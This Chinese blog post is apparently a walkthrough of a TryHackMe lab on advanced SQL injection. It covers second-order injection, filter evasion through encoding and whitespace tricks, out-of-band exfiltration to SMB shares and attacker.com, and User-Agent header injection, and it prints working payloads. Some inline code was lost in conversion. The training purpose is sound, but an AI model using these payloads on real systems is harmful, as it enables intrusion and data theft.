Skip to content
Stack Ashes
Go back

高级 SQL 注入

简介

SQL 注入仍然是 Web 应用程序最严重和最广泛的安全漏洞之一。当攻击者利用 Web 应用程序执行任意 SQL 查询的能力,导致未经授权访问数据库、数据泄露、数据操纵,甚至完全控制应用程序时,就会出现这种威胁。在这个房间里,我们将了解高级 SQL 注入技术,全面了解复杂的攻击向量和缓解策略。

在这个房间结束时,您将对各种 SQL 注入技术有更深入的了解。这将使您具备在多种情况下识别和利用这些漏洞的技能,并实施强大的防御措施来保护您的应用程序。

学习目标

在整个课程中,您将全面了解以下关键概念:

我们介绍了基本技术,例如基于错误和基于联合的 SQL 注入,以及盲目 SQL 注入方法,例如基于布尔值和基于时间的攻击。以下是对 SQL 注入核心基本类型的房间的快速回顾 image.png

带内 SQL 注入

这种技术被认为是最常见和最直接的 SQL 注入攻击类型。在这种技术中,攻击者使用相同的通信通道进行数据的注入和检索。带内 SQL 注入有两种主要类型:

推理(盲目)SQL 注入

推理 SQL 注入不会直接通过 Web 应用程序传输数据,这使得利用它更具挑战性。相反,攻击者会发送有效负载并观察应用程序的行为和响应时间,以推断有关数据库的信息。推理 SQL 注入有两种主要类型:

带外 SQL 注入

当攻击者无法使用相同的通道发起攻击并收集结果,或者服务器响应不稳定时,会使用带外 SQL 注入。该技术依赖于数据库服务器发出带外请求(例如 HTTP 或 DNS)以将查询结果发送给攻击者。HTTP 通常用于带外 SQL 注入,以将查询结果发送到攻击者的服务器。 我们将在这个房间里详细讨论它。

每种类型的 SQL 注入技术都有其优点和挑战。了解这些技术对于识别和缓解 Web 应用程序中的 SQL 注入漏洞至关重要。带内 SQL 注入易于利用和检测,但噪音很大,很容易被监控。推理(盲)SQL 注入更难利用,需要多个请求,但可以在详细错误消息不可用时使用。带外 SQL 注入不太常见且非常有效,需要外部服务器控制,并且依赖于数据库发出带外请求的能力。通过掌握这些技术,渗透测试人员可以有效地识别和利用 SQL 注入漏洞,帮助组织保护其 Web 应用程序免受这些关键威胁。

二阶 SQL 注入

二阶 SQL 注入(也称为存储 SQL 注入)利用了以下漏洞:用户提供的输入被保存并随后在应用程序的不同部分使用,可能在一些初始处理之后。这种类型的攻击更加隐蔽,因为恶意 SQL 代码不需要立即导致 SQL 语法错误或其他明显问题,这使得它更难使用标准输入验证技术进行检测。当数据被检索并在 SQL 命令中使用时,第二次使用数据时,会发生注入,因此名称为 “Second Order”。 ⚠️upload failed, check dev console 冲击

Second-Order SQL Injection 的危险在于它能够绕过典型的前端防御,例如基本输入验证或清理,这些防御仅发生在初始数据输入时。由于有效载荷在第一步不会造成中断,因此可以忽略它,直到为时已晚,从而使攻击特别隐蔽。

示例
:我们将使用书评应用程序。该应用程序允许用户通过网页 () 添加新书籍。系统会提示用户提供有关他们希望添加到数据库的书籍的详细信息。您可以通过 访问该应用程序。收集的数据包括 、 和 。让我们考虑添加一本具有以下详细信息的书:SSN:UI00012书名:Intro to PHP作者:Tim。此信息通过页面上的表单输入,提交后,将存储在 BookStore 数据库中,如下所示:add.php``http://10.10.164.79/second/add.php``SSN``book_name``author``add.php

image.png 正如我们所知,二阶 SQL 注入的识别非常具有挑战性。与利用实时处理漏洞的传统 SQL 注入不同,当以前存储在数据库中的数据稍后用于 SQL 查询时,就会发生这种情况。检测此漏洞通常需要了解数据如何流经应用程序并重复使用,因此需要深入了解后端操作。

代码分析

if (isset($_POST['submit'])) {

    $ssn = $conn->real_escape_string($_POST['ssn']);

    $book_name = $conn->real_escape_string($_POST['book_name']);

    $author = $conn->real_escape_string($_POST['author']);

    $sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";

    if ($conn->query($sql) === TRUE) {

        echo "<p class='text-green-500'>New book added successfully</p>";

    } else {

        echo "<p class='text-red-500'>Error: " . $conn->error . "</p>";

    }

}

该代码使用该方法对输入中的特殊字符进行转义。虽然此方法可以通过转义单引号和其他 SQL 元字符来降低立即 SQL 注入的一些风险,但它并不能保护应用程序免受二阶 SQLi 的攻击。这里的关键问题是缺少参数化查询,这对于防止 SQL 注入攻击至关重要。使用该方法插入数据时,它可能包含不会立即造成伤害但可以在后续检索时激活并在另一个 SQL 查询中使用的有效负载字符。例如,插入名称为 like 的书籍可能不会影响 INSERT 操作,但如果稍后在另一个 SQL 上下文中使用书籍名称而没有正确处理,则可能会产生严重影响。real_escape_string()``real_escape_string()``Intro to PHP'; DROP TABLE books;--

让我们尝试添加另一本 SSN 为 的书籍。test'

image.png

好了,SSN 已成功插入到数据库中。该应用程序包括通过类似 的界面更新书籍详细信息的功能。此界面可能会在可编辑的表单字段中显示现有书籍详细信息,根据以前存储的数据进行检索,然后根据用户输入对其进行更新。渗透测试人员将调查应用程序是否重用了以前存储且可能受污染的数据(例如 )。然后,他将构建 SQL 查询,以使用这些可能受污染的数据更新记录,而无需进行适当的清理或参数化。通过操纵更新功能,测试人员可以查看在插入阶段添加的恶意负载是否在更新操作期间被执行。如果应用程序在此阶段未能采用适当的安全措施,则可能会激活早期注入的有效负载,从而导致执行有害的 SQL 命令,例如删除表。您可以访问该页面以更新任何图书详情。test'``update.php``book_name``'; DROP TABLE books; --``http://10.10.164.79/second/update.php

image.png 现在,让我们回顾一下代码。PHP 脚本允许用户更新 BookStore 数据库中的书籍详细信息。通过查询结构,我们将分析渗透测试人员可能寻找 SQL 注入漏洞的典型场景,特别关注在 SQL 查询中如何处理和利用用户输入。update.php

if ( isset($_POST['update'])) {
    $unique_id = $_POST['update'];
    $ssn = $_POST['ssn_' . $unique_id];
    $new_book_name = $_POST['new_book_name_' . $unique_id];
    $new_author = $_POST['new_author_' . $unique_id];

    $update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";
..
...

该脚本首先检查请求方法是否为 POST,以及是否按下了更新按钮,这表示用户打算更新书籍的详细信息。在此之后,该脚本直接从 POST 数据中检索用户输入:

    $unique_id = $_POST['update'];
    $ssn = $_POST['ssn_' . $unique_id];
    $new_book_name = $_POST['new_book_name_' . $unique_id];
    $new_author = $_POST['new_author_' . $unique_id];

然后,这些变量 () 用于构造 SQL 查询,以更新数据库中指定书籍的详细信息:ssn, new_book_name, new_author

$update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";

该脚本用于执行多个查询。它还将日志插入日志表中以进行分析。multi_query

准备 Payload

我们知道,我们可以根据他们的 .更新书籍的常规查询可能如下所示:ssn

UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '123123';

但是,如果攻击者插入特别构建的值,则 SQL 命令可能纵。例如,如果攻击者使用值:ssn``ssn

12345'; UPDATE books SET book_name = 'Hacked'; --

在 update 查询中使用此值时,它会有效地结束初始 update 命令并启动新命令。这会将 books 表中所有条目的 更改为 Hacked12345``book_name

让我们这样做

image.png

UPDATE books SET book_name = 'Testing', author = 'Hacker' WHERE ssn = '12345'; Update books set book_name ="hacked"; --'; INSERT INTO logs (page) VALUES ('update.php');

在本任务中,我们通过易受攻击的书评 Web 应用程序探索了二阶 SQL 注入概念。作为渗透测试人员,检查用户输入如何存储以及随后在 SQL 查询中使用至关重要。这包括验证所有形式的数据处理是否针对此类漏洞都是安全的,强调全面测试和安全实践知识的重要性,以防止注入威胁。

Filter Evasion 技术

在高级 SQL 注入攻击中,规避过滤器对于成功利用漏洞至关重要。现代 Web 应用程序通常会实施防御措施来清理或阻止常见的攻击模式,这使得简单的 SQL 注入尝试无效。作为渗透测试人员,我们必须使用更复杂的技术来绕过这些过滤器。本节将介绍此类方法,包括字符编码无引号 SQL 注入以及处理不能使用空格的场景。通过理解和应用这些技术,我们可以通过严格的输入验证和安全控制有效地渗透 Web 应用程序。

字符编码
字符编码涉及将 SQL 注入负载中的特殊字符转换为可能绕过输入过滤器的编码形式。

在此示例中,我们将探讨开发人员如何通过从用户输入中删除特定关键字和字符来实施基本筛选来防止 SQL 注入攻击。但是,我们还将看到攻击者如何使用 URL 编码等字符编码技术绕过这些防御。

注意:在接下来的练习中,我们将使用与上一个不同的数据库。您可以在 访问该页面。http://10.10.164.79/encoding/

以下是处理搜索功能的 PHP 代码 (search_books.php):

$book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "<p>Generated SQL Query: $sql</p>";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");
if ($result->num_rows > 0) {
    while ($row = $result->fetch_assoc()) {
...
..

以下是 index.html 页中的 Javascript 代码,它提供了用于搜索书籍的用户界面:

function searchBooks() {
const bookName = document.getElementById('book_name').value;
const xhr = new XMLHttpRequest();
xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);
   xhr.onload = function() {
       if (this.status === 200) {
           document.getElementById('results').innerHTML = this.responseText;

在上面的示例中,开发人员实施了一种基本的防御机制,通过删除特定的 SQL 关键字(如 、、 和 )来防止 SQL 注入攻击。筛选使用函数,该函数在将这些关键字包含在 SQL 查询中之前从用户输入中去除这些关键字。这种过滤方法旨在使攻击者更难注入恶意 SQL 命令,因为这些关键字对于许多 SQL 注入负载至关重要。OR``AND``UNION``SELECT``str_replace

准备 Payload

让我们逐步完成准备 SQL 注入有效负载的过程,展示 URL 编码如何绕过基本防御。首先,让我们看看包含特殊字符或 SQL 关键字的普通输入会发生什么情况。当我们搜索一本名为 的书时,我们得到成功的结果如下:Intro to PHP

image.png

但是,如果我们尝试通过添加特殊字符(如 、 等)来中断查询呢?我们将得到以下输出:'``;

image.png SQL 查询未正确执行,这可能意味着存在 SQL 注入的可能性。让我们尝试注入有效负载 “”。我们将得到以下输出:Intro to PHP' OR 1=1

image.png 那么,这里发生了什么?当此输入传递给 PHP 脚本时,该函数将去除 OR 关键字和单引号,从而产生经过清理的输入,该输入不会执行预期的 SQL 注入。此输入无效,因为筛选会删除 SQL 注入成功所需的关键组件。str_replace

要绕过过滤,我们需要使用 URL 编码对输入进行编码,URL 编码以过滤器无法识别和删除的方式表示特殊字符和关键字。以下是示例 payload 。1%27%20||%201=1%20--+

在上述有效负载中,关闭 SQL 查询中的当前字符串或值。例如,如果查询正在查找与 1 匹配的书名,则 add 将关闭字符串,使 input 的其余部分成为 SQL 语句的一部分。 part 使用 SQL 运算符添加始终为 true 的条件。此条件可确保查询对所有记录返回 true,绕过本应限制结果的原始条件。同样,在 SQL 中启动注释,导致数据库忽略查询的其余部分。这对于终止可能导致语法错误或意外情况的查询的任何剩余部分非常有用。为确保适当的间距,请在注释后添加一个空格,确保注释正确终止并且没有语法问题。1'``'``|| 1=1``OR``--``+

从控制台中,我们可以看到单击搜索按钮会对 .search_book.php image.png

让我们直接在 PHP 页面上使用有效负载,以避免来自客户端的不必要调整/验证。让我们访问具有标准负载的 URL http://10.10.164.79/encoding/search_books.php?book_name=Intro%20to%20PHP%27%20OR%201=1,您将看到一个错误。Intro to PHP' OR 1=1

image.png

现在,使用 Cyber Chef 对负载进行 URL 编码,并尝试使用更新的负载访问 URL。我们将获得以下输出,其中转储完整信息:Intro to PHP' || 1=1 --+

image.png

有效负载之所以有效,是因为 URL 编码以绕过筛选机制的方式表示特殊字符和 SQL 关键字。当服务器解码 URL 编码的输入时,它会恢复特殊字符和关键字,从而允许 SQL 注入成功执行。使用 URL 编码,攻击者可以构建绕过旨在阻止 SQL 注入的基本输入过滤机制的有效负载。这证明了使用更强大的防御措施的重要性,例如参数化查询和预编译语句,无论输入的编码如何,它们都可以防止 SQL 注入攻击。

无引号 SQL 注入

当应用程序过滤单引号或双引号或转义时,使用无引号 SQL 注入技术。

不允许使用空格

当不允许使用空格或过滤掉空格时,可以使用各种技术来绕过此限制。

实例

在此方案中,我们有一个终端节点,该终端节点根据提供的用户名返回用户详细信息。开发人员已实施过滤器来阻止常见的 SQL 注入关键字,例如 OR、AND 和空格 (%20),以防止 SQL 注入攻击。http://10.10.164.79/space/search_users.php?username=?

这是开发者添加的 PHP 过滤。

$special_chars = array(" ", "AND", "and" ,"or", "OR" , "UNION", "SELECT");
$username = str_replace($special_chars, '', $username);
$sql = "SELECT * FROM user WHERE username = '$username'";

如果我们在端点上使用标准有效负载,我们可以看到,即使通过 URL 编码,它也没有工作。1%27%20||%201=1%20--+

image.png

SQL 查询显示代码省略了空格。要绕过这些保护,我们可以使用表示不同类型的空格或换行符的 URL 编码字符,例如 (horizontal tab)、 (换行符)。这些字符可以替换空格,并且仍可由 SQL 解析器正确解释。%09``%0A

可以将原始有效负载修改为使用换行符而不是空格,从而产生有效负载 .此有效负载构造与空格筛选器相同的逻辑条件,但使用换行符来绕过空格筛选器。1' OR 1=1 --``1'%0A||%0A1=1%0A--%27+``1' OR 1=1 --

SQL 解析器将换行符解释为空格,将有效负载转换为 .因此,查询将从 解释为 。1' OR 1=1 --``SELECT * FROM users WHERE username = '$username'``SELECT * FROM users WHERE username = '1' OR 1=1 --

现在,如果我们通过更新的有效负载访问终端节点,我们可以查看所有详细信息。

image.png

总而言之,重要的是要了解,在处理旨在防止 SQL 注入攻击的过滤器或 Web 应用程序防火墙 (WAF) 时,没有一种技术可以保证绕过。但是,这里有一些可用于规避这些保护的提示和技巧。下表重点介绍了可用于尝试绕过筛选器和 WAF 的各种技术:

场景描述
像 SELECT 这样的关键词被禁止通常可以通过更改大小写或添加内联注释来分解 SQL 关键字SElEcT * FrOm 用户或 SE//LECT * FROM//users
禁止使用 Space使用替代空格字符或注释来替换空格有助于绕过过滤器。SELECT%0A*%0AFROM%0Ausers 或 SELECT//*//FROM/**/users
禁止使用 AND、OR 等逻辑运算符使用替代逻辑运算符或串联来绕过关键字筛选器。用户名 = ‘admin’ & password = ‘password’ 或用户名 = ‘admin’//|//1=1 —
UNION、SELECT 等常见关键字被禁止使用等效表示形式(如十六进制或 Unicode 编码)来绕过筛选器。SElEcT * FROM users 其中用户名 = CHAR(0x61,0x64,0x6D,0x69,0x6E)
禁止使用 OR、AND、SELECT、UNION 等特定关键字使用混淆技术通过将字符与字符串函数或注释组合在一起来伪装 SQL 关键字。SElECT * FROM users WHERE username = CONCAT(‘a’,‘d’,‘m’,‘i’,‘n’) 或 SElEcT//username//FROM/**/users

在实际环境中,您应用的查询和筛选关键字的可见性是无法直接实现的。作为渗透测试人员,重要的是要了解 SQL 注入测试通常涉及命中试验方法,需要耐心和毅力。每个环境都可能具有独特的过滤器和保护措施,因此有必要适应并尝试不同的技术来找到成功的注射向量。

带外 SQL 注入

带外 (OOB) SQL 注入是一种攻击技术,当直接或传统方法无效时,渗透测试人员/红队成员使用它来泄露数据或执行恶意操作。与攻击者依赖同一通道进行攻击和数据检索的带内 SQL 注入不同,带外 SQL 注入使用单独的通道来发送有效负载和接收响应。带外技术利用 HTTP 请求、DNS 查询、SMB 协议或数据库服务器可能有权访问的其他网络协议等功能,使攻击者能够绕过防火墙、入侵检测系统和其他安全措施。 image.png 带外 SQL 注入的主要优势之一是其隐蔽性和可靠性。通过使用不同的通信渠道,攻击者可以最大限度地降低被发现的风险,并与受感染的系统保持持续连接。例如,攻击者可能会注入一个 SQL 负载,触发数据库服务器向攻击者控制的恶意域发出 DNS 请求。然后,可以使用响应来提取敏感数据,而无需向监视直接数据库交互的安全机制发出警报。这种方法允许攻击者利用漏洞,即使在攻击者和目标之间的直接连接受到限制或受到审查的复杂网络环境中也是如此。

为什么使用 OOB

在直接响应被清理或受到安全措施限制的情况下,OOB 通道使攻击者能够在没有服务器立即反馈的情况下泄露数据。例如,存储过程输出编码应用程序级别约束等安全机制可能会阻止直接响应,从而使传统的 SQL 注入攻击无效。带外技术(例如使用 DNS 或 HTTP 请求)允许将数据发送到由攻击者控制的外部服务器,从而规避这些限制。

此外,入侵检测系统 (IDS) 和 Web 应用程序防火墙 (WAF) 通常会监控和记录可疑活动的 SQL 查询响应,从而阻止来自潜在恶意查询的直接响应。通过利用 OOB 通道,攻击者可以通过使用审查较少的网络协议(如 DNS 或 SMB)来传输数据来避免检测。这在攻击者与数据库服务器之间的直接连接受限的网络环境中特别有用,例如当服务器位于防火墙后面或位于不同的网段中时。

不同数据库中的技术

带外 SQL 注入攻击利用通过精心设计的查询写入另一个通信通道的方法。当与数据库的直接交互受到限制时,此技术对于泄露数据或执行恶意操作非常有效。数据库中有多个命令可能允许外泄,但以下是各种数据库系统中最常用的命令列表:

MySQL 和 MariaDB

在 MySQL 或 MariaDB 中,可以使用 SELECT …INTO OUTFILE 或 load_file 命令。此命令允许攻击者将查询结果写入服务器文件系统上的文件。例如:

SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';

然后,攻击者可以通过数据库服务器上运行的 SMB 共享或 HTTP 服务器访问此文件,从而通过备用通道泄露数据。

Microsoft SQL Server (MSSQL)

在 MSSQL 中,可以使用 xp_cmdshell 等功能执行带外 SQL 注入,该功能允许直接从 SQL 查询执行 shell 命令。这可用于将数据写入可通过网络共享访问的文件:

EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';

或者, 或者 可用于与外部数据源交互,从而促进通过 OOB 通道进行数据泄露。OPENROWSET``BULK INSERT

神谕

在 Oracle 数据库中,可以使用 UTL_HTTP 或 UTL_FILE 软件包执行带外 SQL 注入。例如,UTL_HTTP 包可用于发送包含敏感数据的 HTTP 请求:

DECLARE
  req UTL_HTTP.REQ;
  resp UTL_HTTP.RESP;
BEGIN
  req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
  UTL_HTTP.GET_RESPONSE(req);
END;

带外技术示例

MySQL 和 MariaDB 中的带外 SQL 注入技术可以利用各种网络协议来泄露数据。主要方法包括 DNS 泄露、HTTP 请求和 SMB 共享。根据 MySQL/MariaDB 环境和网络设置的功能,可以应用这些技术中的每一种。

HTTP 协议请求

通过利用允许 HTTP 请求的数据库功能,攻击者可以将敏感数据直接发送到他们控制的 Web 服务器。此方法利用可以建立出站 HTTP 连接的数据库功能。尽管 MySQL 和 MariaDB 本身不支持 HTTP 请求,但如果数据库配置为允许此类操作,则可以通过外部脚本或用户定义函数 (UDF) 来完成此操作。

首先,需要创建和安装 UDF 以支持 HTTP 请求。此设置很复杂,通常涉及其他配置。示例查询如下所示。SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;

HTTP 请求泄露可以在 Windows 和 Linux (Ubuntu) 系统上实施,具体取决于数据库对启用 HTTP 请求的外部脚本或 UDF 的支持。

DNS 解析外泄

攻击者可以使用 SQL 查询生成带有编码数据的 DNS 请求,这些数据被发送到攻击者控制的恶意 DNS 服务器。此技术绕过基于 HTTP 的监控系统,并利用数据库执行 DNS 查找的能力。

如上所述,MySQL 本身不支持仅通过 SQL 命令生成 DNS 请求,攻击者可能会使用其他方式(例如自定义用户定义函数 (UDF) 或系统级脚本)来执行 DNS 查找。

SMB (中小型企业)外泄

SMB 泄露涉及将查询结果写入外部服务器上的 SMB 共享。此技术在 Windows 环境中特别有效,但也可以通过正确的设置在 Linux 系统中进行配置。示例查询如下所示。SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';

由于 Windows 本身支持 SMB/UNC 路径,因此完全支持此功能。Linux (Ubuntu):虽然直接 UNC 路径更适用于 Windows,但可以使用 Linux 等工具或通过将共享挂载到本地目录来挂载和访问 SMB 共享。在 SQL 查询中直接使用 UNC 路径可能需要额外的设置或脚本来促进交互。smbclient

实例

在这个实际场景中,我们将演示攻击者如何使用带外 SQL 注入技术从易受攻击的 Web 应用程序中窃取数据。服务器端代码包含一个 SQL 注入漏洞,该漏洞允许攻击者构建一个有效负载,将查询结果写入外部 SMB 共享。当来自数据库的直接响应受到限制或受监视时,这非常有用。

场景说明

在这种情况下,我们将在 的 AttackBox 上启用网络共享。此共享可通过网络访问,并允许将其他计算机中的文件写入其中。您可以假设这样一种情况:您遇到了一个易受攻击的系统,并希望将数据转置到另一个网络共享系统。攻击者将利用此共享来带外泄露数据。要获得网络共享,我们将启动 AttackBox 并在终端中执行以下命令:ATTACKBOX_IP\logs

我们有相同的 Web 应用程序,该应用程序具有搜索功能,可以查询访问图书馆的访客。此功能的服务器端代码容易受到 SQL 注入的攻击,您可以在 访问它。http://10.10.164.79/oob/search_visitor.php?visitor_name=Tim

image.png 服务器代码如下所示:

$visitor_name = $_GET['visitor_name'] ?? '';

$sql = "SELECT * FROM visitor WHERE name = '$visitor_name'";

echo "<p>Generated SQL Query: $sql</p>";

// Execute multi-query
if ($conn->multi_query($sql)) {
    do {
        // Store first result set
        if ($result = $conn->store_result()) {
            if ($result->num_rows > 0) {
                while ($row = $result->fetch_assoc()) {

重要注意事项

请务必注意,可以设置 MySQL 系统变量。设置后,此变量包含目录路径名,并且 MySQL 将仅允许将文件写入此指定目录。此安全措施有助于降低未经授权的文件操作的风险。secure_file_priv

攻击者通常没有直接访问权限来检查 secure_file_priv 变量的值。因此,他们必须依靠 hit-and-trial 方法来确定是否可以写入文件以及在何处写入文件,测试各种路径以查看文件操作是否成功。

准备 Payload

为了利用此漏洞,攻击者制作了一个有效负载以注入到参数中。有效负载将设计为执行额外的 SQL 查询,该查询将数据库版本信息写入外部 SMB 共享。visitor_name

1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --

我们来剖析一下上面的有效负载:

为了利用有效负载,攻击者将访问在外部 SMB 共享中创建文件的 URL。

要访问该文件,请使用 查看目录中收到的文件,如下所示:ls /tmp``/tmp

thm@machine$ls /tmp
out.txt

高级 SQL 注入

高级 SQL 注入涉及一系列超越基本攻击的复杂方法。以下是渗透测试人员应注意的一些重要高级技术:

HTTP 协议标头注入

HTTP 标头可以携带用户输入,这些输入可能用于服务器端的 SQL 查询。如果这些输入没有被清理,可能会导致 SQL 注入。该技术涉及操作 HTTP 标头(如 User-AgentReferer 或 X-Forwarded-For)以注入 SQL 命令。服务器可能会记录这些标头或在 SQL 查询中使用它们。例如,恶意 User-Agent 报头将类似于 . 如果服务器在 SQL 查询中包含 User-Agent 标头而未对其进行清理,则可能会导致 SQL 注入。User-Agent: ' OR 1=1; --

在此示例中,Web 应用程序将 HTTP 请求的 User-Agent 标头记录到数据库中名为 logs 的表中。应用程序提供了一个终端节点,用于显示 logs 表中的所有记录条目。当用户访问网页时,他们的浏览器会发送一个 User-Agent 标头,用于标识浏览器和操作系统。此标头通常用于日志记录目的或为特定浏览器定制内容。在我们的应用程序中,此 User-Agent 标头入到日志表中,然后可以通过提供的端点进行查看。http://10.10.164.79/httpagent/

给定终端节点,攻击者可能会尝试将 SQL 代码注入 User-Agent 标头,以利用 SQL 注入漏洞。例如,通过将 User-Agent 标头设置为恶意值(如 ),攻击者会尝试注入 SQL 代码,将 logs 表的结果与 user 表中的敏感数据组合在一起。User-Agent: ' UNION SELECT username, password FROM user; --

以下是插入日志的服务器端代码。

$userAgent = $_SERVER['HTTP_USER_AGENT'];
$insert_sql = "INSERT INTO logs (user_Agent) VALUES ('$userAgent')";
if ($conn->query($insert_sql) === TRUE) {
    echo "<p class='text-green-500'>New logs inserted successfully</p>";
} else {
    echo "<p class='text-red-500'>Error: " . $conn->error . " (Error Code: " . $conn->errno . ")</p>";
}

$sql = "SELECT * FROM logs WHERE user_Agent = '$userAgent'";
..
... 

User-Agent 值使用 INSERT SQL 语句插入到日志表中。如果插入成功,则会显示一条成功消息。如果在插入过程中出现错误,则会显示包含详细信息的错误消息。 image.png

准备 Payload

我们将准备 SQL 有效负载并将其注入 User-Agent 标头,以演示如何通过 HTTP 标头利用 SQL 注入。我们的目标有效负载将是 ’ UNION SELECT 用户名,密码 FROM 用户;#. 此有效负载旨在:

我们需要将此有效负载作为 HTTP 请求中 User-Agent 标头的一部分发送,以注入此有效负载,这可以使用 Burp Suite 或 cURL 等工具完成。我们将使用 curl 命令行工具发送带有自定义 User-Agent 标头的 HTTP 请求。打开终端并访问您的命令行界面。 使用以下命令发送带有自定义标头的请求 :User-Agent

user@tryhackme$ curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.10.164.79/httpagent/ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SQL Injection </title> rel="stylesheet"> </head> <body class="bg-gray-100"> <div class="container mx-auto p-8"> <h1 class="text-4xl font-bold mb-8 text-center">HTTP Logs</h1> <div class="bg-white p-6 rounded-lg shadow-lg"> <p class='text-gray-600 text-sm mb-4'>Generated SQL Query: <span class='text-red-500'>SELECT * FROM logs WHERE user_Agent = '' UNION SELECT username, password FROM user; #'</span></p><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>bob</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>bob@123</span></p></div><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>attacker</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>tesla</span></p></div> </div> </div> </body> </html>

服务器的响应将显示在终端中。如果 SQL 注入成功,您将在响应中看到提取的数据(用户名和密码)。

利用存储过程

存储过程是存储在数据库中的例程,可以执行各种操作,例如插入、更新或查询数据。虽然存储过程可以帮助提高性能并确保一致性,但如果处理不当,它们也可能容易受到 SQL 注入的影响。

image.png

存储过程是预编译的 SQL 语句,可以作为单个单元执行。它们存储在数据库中,应用程序可以调用它们来执行特定任务。存储过程可以接受参数,这使它们变得灵活而强大。但是,如果这些参数没有得到适当的清理,它们可能会引入 SQL 注入漏洞。

考虑一个旨在根据用户名检索用户数据的存储过程:

CREATE PROCEDURE sp_getUserData
    @username NVARCHAR(50)
AS
BEGIN
    DECLARE @sql NVARCHAR(4000)
    SET @sql = 'SELECT * FROM users WHERE username = ''' + @username + ''''
    EXEC(@sql)
END

在此示例中,存储过程将 @username 参数连接到动态 SQL 查询中。这种方法容易受到 SQL 注入的攻击,因为输入没有经过清理。

XML 和 JSON 注入

解析 XML 或 JSON 数据并在 SQL 查询中使用解析数据的应用程序如果未正确清理输入,则可能容易受到注入。XML 和 JSON 注入涉及将恶意数据注入 XML 或 JSON 结构,然后在 SQL 查询中使用这些数据。如果应用程序直接在 SQL 语句中使用解析的值,则可能会发生这种情况。

{
  "username": "admin' OR '1'='1--",
  "password": "password"
}

如果应用程序直接在 SQL 查询中使用这些值(如 ),则可能会导致注入。SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- AND password = 'password'

QL由于安全措施的实施不当和不同 Web 框架的复杂性,注入仍然是一个常见的威胁_。_自动识别和利用这些漏洞可能具有挑战性,但已经开发了多种工具和技术来帮助简化这一过程。!

识别过程中的主要问题

识别 SQL 注入漏洞涉及多项挑战,类似于识别任何其他服务器端漏洞。以下是关键问题:

几个重要的工具

安全社区内已经开发了几个著名的工具和项目,以帮助自动查找 SQL 注入漏洞。以下是一些众所周知的工具和 GitHub 存储库,它们提供了检测和利用 SQL 注入的功能:

自动识别和利用 SQL 注入漏洞对于维护 Web 应用程序安全至关重要。SQLMap、SQLNinja 和 BBQSQL 等工具为检测和利用这些漏洞提供了强大的功能。但是,重要的是要了解自动化工具的局限性以及手动分析和验证的必要性,以确保全面的安全覆盖。通过将这些工具集成到您的安全工作流程中并遵循输入验证和查询构建的最佳实践,您可以有效降低与 SQL 注入漏洞相关的风险。

最佳实践

SQL 注入是一个众所周知且普遍存在的漏洞,多年来一直是 Web 应用程序安全的主要关注点。渗透测试人员在评估期间必须特别注意此漏洞,因为它需要全面了解识别和利用 SQL 注入点的各种技术。同样,安全编码人员必须通过实施强大的输入验证并遵守安全编码实践来防止此类攻击,从而优先考虑保护其应用程序。下面提到了一些最佳实践:

安全编码员

渗透测试器

高级 SQL 注入测试需要对各种技术有深入的了解,并能够适应不同的环境。渗透测试人员应采用各种方法,从利用特定于数据库的功能到绕过复杂的过滤器,再到彻底评估和利用 SQL 注入漏洞。有条不紊地记录每个步骤可确保对应用程序的安全性进行全面评估。


Share this post on:

Previous Post
胡思乱想
Next Post
Mimikatzwindwos凭证获取